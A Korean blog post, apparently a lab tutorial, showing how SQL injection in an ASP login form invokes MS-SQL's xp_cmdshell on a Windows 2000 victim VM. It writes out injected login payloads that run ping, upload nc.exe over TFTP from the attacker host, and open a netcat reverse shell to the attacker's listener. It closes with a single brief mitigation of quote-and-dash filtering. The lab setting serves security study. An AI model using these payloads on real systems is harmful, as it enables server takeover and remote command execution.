실습 환경 구축
- VMware에서 Window 2000 웹서버(Victim), Window7(Attacker)를 설치하여 실습하였다.
- 웹서버에는 기본적인 ASP 웹 페이지를 구성하였다.
1) member_age 프로시저 생성 및 호출
- 공격하기 이전에 프로시저의 동작 원리를 알기 위해서 프로시저를 생성 및 호출을 하려고 한다.
1.1) 프로시저 생성
- member_age라는 이름의 procedure를 생성 후 사용자 ID, 비밀번호, 이름, 나이를 나이 오름차순으로 정렬한 정보를 저장한다.
create procedure member_age
AS
select user_id, user_pw, name, age from member where age > 20 order by age
1.2) 프로시저 저장 확인
- 저장 프로시저에 추가된 것을 확인할 수 있다.
1.3) 프로시저 호출
- 프로시저를 호출하면 프로시저에 저장한 정보를 확인할 수 있다.
exec member_age
2) Stored Procedure 목록
- 서버에는 다양한 확장 프로시저들이 존재한다.
xp_cmdshell |
시스템 명령어를 실행 |
xp_servicecontrol |
서비스를 제어한다. |
sp_makewebtask |
쿼리의 결과를 웹 페이지로 생성한다. |
sp_addextendedproc |
Drop된 Stored Procedure를 등록한다. |
- 이 중에서 xp_cmdshell 확장 프로시저를 통해 공격을 하려고 한다.
3) xp_cmdshell 확장 프로시저 Query 문을 통해 호출
- xp_cmdshell을 통해서 C 드라이브의 파일 목록들을 확인할 수 있다.
exec master.dbo.xp_cmdshell 'dir c:\'
- 다음과 같이 중복 질의도 할 수 있다.
use webhack;
select user_id, user_pw, name, homepage
from member
where user_id='';
exec master..xp_cmdshell 'ping 192.168.2.254'
- cmdshell을 통해 모든 cmd명령어를 사용할 수 있다.
3) xp_cmdshell 확장 프로시저 Web Browser을 통해 호출
- Query문을 통해서 알아본 xp_cmdshell을 Attacker PC의 웹 브라우저를 통해 이용해 보려고 한다.
3.1) Web Server에 Ping 전송 결과 확인
- 웹브라우저를 통해 cmdshell을 호출하면 결과값을 확인할 수 없다.
ID: ' ; exec master..xp_cmdshell 'ping 192.168.2.254'--
PW: Anything
3.2) Attacker PC에서 Attacker에게 Ping 전송 결과 확인
- Attacker가 자기 자신에게 Ping을 보내서 xp_cmdshell이 호출이 되는지 확인한다.
- 만약 Victim으로 보내면 패킷은 Victim - Victim으로 가기 때문에 Attacker는 패킷을 알 수가 없다.
ID: ' ; exec master..xp_cmdshell 'ping 192.168.1.1'--
PW: Anything
- 로그인은 실패했지만 자기 자신으로 응답 패킷이 오는 것이 확인되어서 xp_cmdshell이 호출되는 것을 확인할 수 있다.
4) Attacker PC에서 TFTP를 통해 Victim에 nc.exe 파일 업로드
- Attacker PC에서 cmd창을 Reverse Shell을 통해 손쉽게 사용하기 위해서 nc 파일을 Victim에 업로드한다.
- tftp GET 명령어를 입력하면 로그인은 실패되지만 nc64.exe가 Victim에 업로드된 것을 확인할 수 있다.
ID: ' ; exec master..xp_cmdshell 'tftp -i 192.168.1.1 GET nc.exe'--
PW: Anything
5) Attacker PC에서 Victim CMD 권한 획득
- Attacker PC에서 Reverse Shell을 사용하기 위해 nc.exe에서 22번 포트를 열어놓는다.
nc -lvp 22
- Victim서버에 저장된 NC를 통해서 Attacker PC에 cmd권한을 준다.
ID: ' ; exec master..xp_cmdshell 'nc 192.168.1.1 22 -e cmd.exe'--
PW: anything
- 정상적으로 Victim의 cmd권한을 얻어올 수 있다.
6) Stored Procedure를 이용한 공격 방어 방법
- Victim 서버에서 ID와 비밀번호를 입력받을때 ' 문자와 -- 문자를 제거하는 필터링을 추가한다.
'Hacking & Security > Web Hacking & Security' 카테고리의 다른 글
XSpear (XSS Scanner) 사용 방법 (0) | 2020.12.06 |
---|---|
[Web Hacking & Security] Blind SQL Injection 공격 (0) | 2020.01.07 |
[Web Hacking & Security] SQL Injection을 통한 Database Schema 파악 (0) | 2020.01.06 |
[Web Hacking & Security] SQL Injection 공격 (0) | 2020.01.06 |
[Web Hacking & Security] CSRF (Cross Site Request Forgery) 공격 (0) | 2020.01.03 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊